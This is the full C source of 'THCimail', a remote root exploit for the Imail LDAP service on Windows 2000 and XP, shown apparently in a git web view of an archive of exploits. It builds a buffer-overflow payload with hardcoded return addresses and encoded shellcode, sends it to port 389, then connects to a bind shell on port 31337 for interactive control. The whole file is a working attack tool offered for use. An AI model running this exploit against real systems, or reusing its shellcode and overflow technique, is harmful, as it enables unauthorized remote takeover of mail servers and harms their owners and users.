added unreleased README
[oweals/thc-archive.git] / Exploits / THCimail.c
1 /*****************************************************************************/\r
2 /* THCimail 0.1 - Wind0wZ remote root exploit                                */\r
3 /* Exploit by: Johnny Cyberpunk (jcyberpunk@thc.org)                         */\r
4 /* THC PUBLIC SOURCE MATERIALS                                               */\r
5 /*                                                                           */\r
6 /* Bug was found by idefense or some idefense slaves ;)                      */\r
7 /* http://www.idefense.com/application/poi/display?id=74&type=vulnerabilities*/\r
8 /*                                                                           */\r
9 /* compile with MS Visual C++ : cl THCimail.c                                */\r
10 /*                                                                           */\r
11 /* At least some greetz fly to : THC, Halvar Flake, FX, gera, MaXX, dvorak,  */\r
12 /* scut, stealth, FtR and Random                                             */\r
13 /*****************************************************************************/\r
14 \r
15 #include <stdio.h>\r
16 #include <stdlib.h>\r
17 #include <string.h>\r
18 #include <winsock2.h>\r
19 \r
20 #pragma comment(lib, "ws2_32.lib")\r
21 \r
22 char *WIN2KEN   = "\xc4\x2a\x02\x75";\r
23 char *WIN2KPG   = "\xc4\x2a\xf9\x74";\r
24 char *WINXPSP1G = "\xfe\x63\xa1\x71";\r
25 \r
26 #define jumper    "\xeb\x06\x4a\x43"\r
27 \r
28 char ldapshit[] = "\x30\x82\x0a\x3d\x02\x01\x01\x60\x82\x01\x36\x02\xff\xff\xff\xff\x20";\r
29 \r
30 char shellcode[] =\r
31 "\x8b\x7c\x24\xfc\x83\xc7\x21\x33\xc9\xb2\x8f\x66\x81\xc1\x02"\r
32 "\x02\x8a\x1f\x32\xda\x88\x1f\x47\xe2\xf7\x64\xac\xf5\xe6\x8d"\r
33 "\x8a\xe3\xd6\x77\x92\x13\x51\x03\x5e\xc3\xff\x5b\x8c\x7f\xa8"\r
34 "\xaf\xaf\xbf\x87\xd8\xdc\xbd\xd0\xbc\xbd\xa1\xcb\xc3\xc3\x8e"\r
35 "\x64\x8a\x67\x76\x70\x70\x70\xd2\x0c\x62\xa5\xe5\xbf\xd6\xeb"\r
36 "\x04\x8e\x04\xcf\x83\x04\xff\x93\x22\x04\xf7\x87\x02\xd0\xb3"\r
37 "\x04\x94\x8e\x74\x04\xd4\xf7\x8e\x74\x04\xc4\x93\x8e\x76\x04"\r
38 "\xdc\xab\x8e\x75\xdc\xde\xdd\x04\xd4\xaf\x8e\x74\xbe\x46\xce"\r
39 "\xbe\x4f\x16\x04\xbb\x04\x8e\x71\x23\xbe\x4d\x5e\x6d\x0b\x4f"\r
40 "\xfa\x78\x80\x39\xca\x8a\x02\xcb\xca\x8b\xe9\xb6\x9f\xfa\x6e"\r
41 "\xe9\xbe\x9f\xd5\xd7\xd1\xd9\xdf\xdd\xa4\xc1\x9f\xce\x80\x38"\r
42 "\x83\xc5\x04\x8b\x07\x8e\x77\x80\x39\xc2\x8a\x06\xcb\x02\x57"\r
43 "\x71\xc2\x8a\xfa\x31\x71\xc2\x8b\xfb\xae\x71\xc2\xad\x02\xd2"\r
44 "\x97\xdc\x70\x5f\x06\x48\xe5\x8b\xd7\x07\xca\x8a\x0f\xca\xf8"\r
45 "\x85\x02\xd2\xfb\x0f\xe4\xa9\x9b\x66\xf7\x70\x70\x70\x06\x41"\r
46 "\xbe\x54\xdc\xdc\xdc\xdc\xd9\xc9\xd9\x70\x5f\x18\xda\xd7\xe9"\r
47 "\x06\xbf\xe5\x9f\xda\xd8\x70\xda\x5b\xc1\xd9\xd8\x70\xda\x43"\r
48 "\xdc\xda\xd8\x70\xda\x5f\x18\x02\xca\x07\xdf\x70\xda\x6b\xda"\r
49 "\xda\x70\xda\x67\x02\xcb\x8a\x83\x1b\xdc\xe7\xa1\xea\xf7\xea"\r
50 "\xe7\xd3\xec\xe2\xeb\x1b\xbe\x5d\x02\xca\x43\x1b\xd8\xd8\xd8"\r
51 "\xdc\xdc\x71\x49\x8e\x7d\xdd\x1b\x02\xca\xf7\xdf\x02\xca\x07"\r
52 "\xdf\x3e\x87\xdc\xdc\xe5\x9f\x71\x41\xdd\xdc\xdc\xdc\xda\x70"\r
53 "\xda\x63\xe5\x70\x70\xda\x6f";\r
54 \r
55 \r
56 void usage();\r
57 void shell(int sock);\r
58 \r
59 int main(int argc, char *argv[])\r
60 {  \r
61   unsigned int i,sock,sock2,addr,os,ver,rc,IMAILVER;\r
62   unsigned char *finalbuffer,*crapbuf1,*crapbuf2;\r
63   unsigned int IMAIL6_7=60;\r
64   unsigned int IMAIL_8=68;\r
65 \r
66   struct sockaddr_in mytcp;\r
67   struct hostent * hp;\r
68   WSADATA wsaData;\r
69 \r
70   printf("\nTHCimail v0.1 - Imail LDAP exploit\n");\r
71   printf("tested on Imail 6-8\n");\r
72   printf("by Johnny Cyberpunk (jcyberpunk@thc.org)\n");\r
73 \r
74   if(argc<4 || argc>4)\r
75    usage();\r
76 \r
77   ver = (unsigned short)atoi(argv[3]);  \r
78   switch(ver)\r
79   {\r
80    case 0:\r
81     IMAILVER = IMAIL6_7;\r
82     break;\r
83    case 1:\r
84     IMAILVER = IMAIL_8;\r
85     break;\r
86    default:\r
87     printf("\nYou entered an illegal version !\n\n");\r
88     usage();\r
89     exit(-1);\r
90   }\r
91 \r
92   crapbuf1 = malloc(IMAILVER);\r
93   memset(crapbuf1,'X',IMAILVER);\r
94 \r
95   printf("imailver = %d\n",IMAILVER);\r
96 \r
97   crapbuf2 = malloc(2220);\r
98   memset(crapbuf2,'X',2220);\r
99 \r
100   finalbuffer = malloc(2650);\r
101   memset(finalbuffer,0,2650);\r
102 \r
103   printf("\n[*] building buffer\n");\r
104 \r
105   strcat(finalbuffer,ldapshit);\r
106 \r
107   strcat(finalbuffer,crapbuf1);\r
108 \r
109   strcat(finalbuffer,jumper);\r
110 \r
111   os = (unsigned short)atoi(argv[2]);  \r
112   switch(os)\r
113   {\r
114    case 0:\r
115     strcat(finalbuffer,WIN2KPG);\r
116     break;\r
117    case 1:\r
118     strcat(finalbuffer,WIN2KPG);\r
119     break;\r
120    case 2:\r
121     strcat(finalbuffer,WINXPSP1G);\r
122     break;\r
123    default:\r
124     printf("\nYou entered an illegal OS !\n\n");\r
125     usage();\r
126     exit(-1);\r
127   }\r
128 \r
129   strcat(finalbuffer,shellcode);\r
130   strcat(finalbuffer,crapbuf2);\r
131       \r
132   if (WSAStartup(MAKEWORD(2,1),&wsaData) != 0)\r
133   {\r
134    printf("WSAStartup failed !\n");\r
135    exit(-1);\r
136   }\r
137   \r
138   hp = gethostbyname(argv[1]);\r
139 \r
140   if (!hp){\r
141    addr = inet_addr(argv[1]);\r
142   }\r
143   if ((!hp)  && (addr == INADDR_NONE) )\r
144   {\r
145    printf("Unable to resolve %s\n",argv[1]);\r
146    exit(-1);\r
147   }\r
148 \r
149   sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);\r
150   if (!sock)\r
151   { \r
152    printf("socket() error...\n");\r
153    exit(-1);\r
154   }\r
155   \r
156   if (hp != NULL)\r
157    memcpy(&(mytcp.sin_addr),hp->h_addr,hp->h_length);\r
158   else\r
159    mytcp.sin_addr.s_addr = addr;\r
160 \r
161   if (hp)\r
162    mytcp.sin_family = hp->h_addrtype;\r
163   else\r
164    mytcp.sin_family = AF_INET;\r
165 \r
166   mytcp.sin_port=htons(389);\r
167 \r
168   printf("[*] connecting the target\n");\r
169 \r
170   rc=connect(sock, (struct sockaddr *) &mytcp, sizeof (struct sockaddr_in));\r
171   if(rc==0)\r
172   {\r
173       send(sock,finalbuffer,2650,0);\r
174       printf("[*] Exploit send successfully ! Sleeping a while ....\n");\r
175       Sleep(1000);\r
176   }\r
177   else\r
178    printf("\nCan't connect to ldap port!\n");\r
179    \r
180   if(rc==0)\r
181   {\r
182    printf("[*] Trying to get a shell\n\n");\r
183    sock2 = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);\r
184    mytcp.sin_port = htons(31337);\r
185    rc = connect(sock2, (struct sockaddr *)&mytcp, sizeof(mytcp));\r
186    if(rc!=0)\r
187    {\r
188      printf("can't connect to port 31337 ;( maybe firewalled ...\n");\r
189      exit(-1);\r
190    }\r
191    shell(sock2);\r
192   }\r
193 \r
194   shutdown(sock,1);\r
195   closesocket(sock);\r
196 \r
197   free(crapbuf1);\r
198   free(crapbuf2);\r
199   free(finalbuffer);  \r
200 \r
201   exit(0);\r
202 }\r
203  \r
204 void usage()\r
205 {\r
206  unsigned int a;\r
207  printf("\nUsage:  <Host> <OS> <Imail Version>\n");\r
208  printf("Sample: THCimail 194.44.55.56 0 1\n\n");\r
209  printf("OS:\n");\r
210  printf("0 - Windows 2000 Server english all service packs\n");\r
211  printf("1 - Windows 2000 Professional german\n");\r
212  printf("2 - Windows XP SP1 german\n\n");\r
213  printf("Imail Version:\n");\r
214  printf("0 - Imail 6+7\n");\r
215  printf("1 - Imail 8\n");\r
216  exit(0);\r
217 }\r
218 \r
219 void shell(int sock)\r
220 {\r
221  int l;\r
222  char buf[1024];\r
223  struct timeval time;\r
224  unsigned long ul[2];\r
225 \r
226  time.tv_sec = 1;\r
227  time.tv_usec = 0;\r
228 \r
229  while (1)\r
230  {\r
231   ul[0] = 1;\r
232   ul[1] = sock;\r
233 \r
234   l = select (0, (fd_set *)&ul, NULL, NULL, &time);\r
235   if(l == 1)\r
236   {     \r
237    l = recv (sock, buf, sizeof (buf), 0);\r
238    if (l <= 0)\r
239    {\r
240     printf ("bye bye...\n");\r
241     return;\r
242    }\r
243   l = write (1, buf, l);\r
244    if (l <= 0)\r
245    {\r
246     printf ("bye bye...\n");\r
247     return;\r
248    }\r
249   }\r
250   else\r
251   {\r
252    l = read (0, buf, sizeof (buf));\r
253    if (l <= 0)\r
254    {\r
255     printf("bye bye...\n");\r
256     return;\r
257    }\r
258    l = send(sock, buf, l, 0);\r
259    if (l <= 0)\r
260    {\r
261     printf("bye bye...\n");\r
262     return;\r
263    }\r
264   }\r
265  }\r
266 }\r